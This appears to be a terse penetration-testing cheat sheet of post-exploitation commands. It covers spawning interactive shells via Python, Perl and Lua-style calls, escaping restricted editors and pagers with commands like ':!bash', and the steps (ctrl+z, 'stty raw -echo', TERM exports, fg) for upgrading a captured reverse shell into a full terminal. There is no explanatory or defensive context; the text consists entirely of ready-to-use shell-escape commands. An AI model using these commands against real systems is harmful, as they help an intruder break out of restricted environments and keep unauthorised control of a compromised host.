echo os.system("/bin/bash")
python -c 'import pty; pty.spawn("/bin/bash")'
perl -e 'exec "/bin/sh";'
exec "/bin/sh"
exec "/bin/sh"
os.execute("/bin/sh")
/bin/sh -i
:!bash
:set shell=/bin/bash:shell
!sh
ctrl+r ctrl+x /bin/bash
In reverse shell:
python -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z (to background)
In base OS:
stty raw -echo
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
fg
cat sh.exp
#!/usr/bin/expect
spawn sh
interact